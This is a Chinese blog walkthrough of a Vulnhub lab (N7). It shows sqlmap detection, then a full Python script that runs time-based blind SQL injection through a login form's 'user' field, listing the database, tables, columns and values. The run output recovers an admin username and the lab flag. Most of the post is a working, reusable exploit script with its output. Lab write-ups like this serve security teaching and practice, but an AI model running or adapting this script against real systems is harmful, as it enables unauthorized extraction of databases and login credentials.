Python实现SQL注入脚本
实验环境
攻击主机IP:172.18.53.145
目标主机IP:172.18.53.11
此处的靶场是Vulnhub中的WEB MACHINE: (N7)
靶场测试
访问靶场的登录页面,使用sqlmap测试该页面是否存在SQL注入
首先,使用Burpsuite在登录时抓包
将这个数据包保存下来
利用sqlmap,指定刚保存的post数据文件进行测试。
-r
指定文件,-p
指定测试参数,先测试下user
参数
sqlmap -r post.txt -p user --dbs
发现存在SQL注册,且读出了四个数据库,接着尝试编写脚本进行注入。
脚本编写
首先通过时间盲注循环判断当前数据库名的长度,将该语句作为payload发送到目标主机
select if(length((select database()))=1,sleep(3),1))
如果目标主机响应的时间超过3秒,那么可以判断该处猜测的值是对的
# 判断长度 for n in range(1,100): payload = {"user":"\' or (select if(length((select database()))=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"} r = requests.post(url, data=payload, headers=headers) if r.elapsed.total_seconds() > 3: db_name_len = n break
然后根据数据库名的长度,使用下面的payload循环判断数据库名每一位的值,同样,根据目标主机的响应时间判断
select if(ascii(substr((select database()),0,1))=ascii,sleep(3),1)
判断代码逻辑如下:
# 判断名字 for i in range(1, db_name_len + 1): for c in all: payload = {"user":"\' or (select if(ascii(substr((select database())," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"", "sub":"SEND"} r = requests.post(url, data = payload, headers = headers) if r.elapsed.total_seconds() > 3: db_name.append(c) if c == ",": print("") continue print(c, end='', flush=True)
最后,最后,用同样的逻辑判断数据表名、数据列名和每一列对应的值。
完整代码如下:
import requests import string import sys # 所有可打印字符 all = string.printable # 目标主机URL url = "http://172.18.53.11/enter_network/" headers = {"Content-Type":"application/x-www-form-urlencoded"} # 获取数据库名 def extract_db_name(): print("[+] Extracting db name") db_name = [] # 判断数据库名长度 for n in range(1,100): payload = {"user":"\' or (select if(length((select database()))=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"} r = requests.post(url, data=payload, headers=headers) if r.elapsed.total_seconds() > 3: db_name_len = n break print("[+] the length of db name: " + str(db_name_len)) # 获取数据库名 print("[+] the name of db: ", end='') for i in range(1, db_name_len + 1): for c in all: payload = {"user":"\' or (select if(ascii(substr((select database())," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"", "sub":"SEND"} r = requests.post(url, data = payload, headers = headers) if r.elapsed.total_seconds() > 3: db_name.append(c) if c == ",": print("") continue print(c, end='', flush=True) print("\n") return db_name # 获取数据表的内容 def extract_tables(db_name): db_name = "".join(db_name) print("[+] Finding number of table in current db") table_name = [] # 判断当前数据库中存在几张数据表 for n in range(1, 50): payload = {"user":"\' or (select if((select count(table_name) from information_schema.tables where table_schema=\'" + db_name +"\')=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"} r = requests.post(url, data = payload, headers = headers) if r.elapsed.total_seconds() > 3: table_num = n break print("[+] Finding " + str(table_num) + " tables in current db") # 判断所有数据表名的长度 print("[+] Finding the name of table in current db: ") for n in range(1, 100): payload = {"user":"\' or (select if(length((select group_concat(table_name) from information_schema.tables where table_schema=\'" + db_name + "\' limit 0,1))=" + str(n) + ",sleep(3),1))#", "pass":"1", "sub":"SEND"} r = requests.post(url, data = payload, headers = headers) if r.elapsed.total_seconds() > 3: table_name_len = n break # 获取当前数据库中所有的数据表 for i in range(1, table_name_len + 1): for c in all: payload = {"user":"\' or (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\'" + db_name + "\' limit 0,1),"+ str(i) +",1))="+str(ord(c))+",sleep(3),1)) #", "pass":"1", "sub":"SEND"} r = requests.post(url, data = payload, headers = headers) if r.elapsed.total_seconds() > 3: table_name.append(c) if c == ",": print("") continue print(c, end="", flush=True) print("\n") # 是否继续获取列名 column_name_inject = input("Show the name of column? [y/n]") if column_name_inject == "y" or column_name_inject == "yes": pass else: sys.exit() table_name = "".join(table_name) table_name = table_name.split(",") # 获取数据表中的具体内容 for table in table_name: print("[+] Finding the column name of " + table) columns_name = [] # 判断数据表中所有列名的长度 for n in range(1, 100): payload = {"user":"\' or (select if(length((select group_concat(column_name) from information_schema.columns where table_name=\'" + table + "\' limit 0,1))= "+ str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"} r = requests.post(url, data = payload, headers = headers) if r.elapsed.total_seconds() > 3: column_name_len = n break # 获取数据表的列名 for i in range(1, column_name_len + 1): for c in all: payload = {"user":"\' or (select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'"+ table + "\' limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"} r = requests.post(url, data = payload, headers = headers) if r.elapsed.total_seconds() > 3: columns_name.append(c) if c == ",": print("") continue print(c, end="", flush=True) print("\n") # 是否继续获取数据表中每列的值 column_value_inject = input("Show the value of column? [y/n]:") if column_value_inject == "y" or column_value_inject == "yes": pass else: sys.exit() columns_name = "".join(columns_name) columns_name = columns_name.split(",") # 获取每列的内容 for column in columns_name: column = "".join(column) print("[+] Finding the value of " + column) # 判断数据表所有列内容的长度 for n in range(1, 1000): payload = {"user":"\' or (select if(length((select group_concat(" + column + ") from " + table + " limit 0,1))= "+ str(n) + ",sleep(3),1)) #","pass":"1","sub":"SEND"} r = requests.post(url, data = payload, headers = headers) if r.elapsed.total_seconds() > 3: columns_values_len = n break # 获取数据表中每列的值 for i in range(1, columns_values_len + 1): for c in all: payload = {"user":"\' or (select if(ascii(substr((select group_concat(" + column + ") from " + table + " limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #","pass":"1","sub":"SEND"} r = requests.post(url, data = payload, headers = headers) if r.elapsed.total_seconds() > 3: if c == ",": print("") continue print(c, end="", flush=True) print("") try: db_name = extract_db_name() # 获取当前数据库名 user_input = input("Show the name of table? [y/n]:") # 是否继续获取表名 if user_input == "y" or user_input == "yes": extract_tables(db_name) else: sys.exit() print("Done!") except KeyboardInterrupt: print("") print("[+] Exiting...") sys.exit()
代码执行结果:
┌──(kali㉿kali)-[~/tools] └─$ python sqli.py [+] Extracting db name... [+] the length of db name: 7 [+] the name of db: Machine Show the name of table? [y/n]:y [+] Finding number of table in current db... [+] Finding 1 tables in current db... [+] Finding the name of table in current db: login Show the name of column? [y/n]y [+] Finding the column name of login username password role Show the value of column? [y/n]y [+] Finding the value of username administrator [+] Finding the value of password FLAG{N7:KSA_01} [+] Finding the value of role admin Done!
分类:
Python脚本实现
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?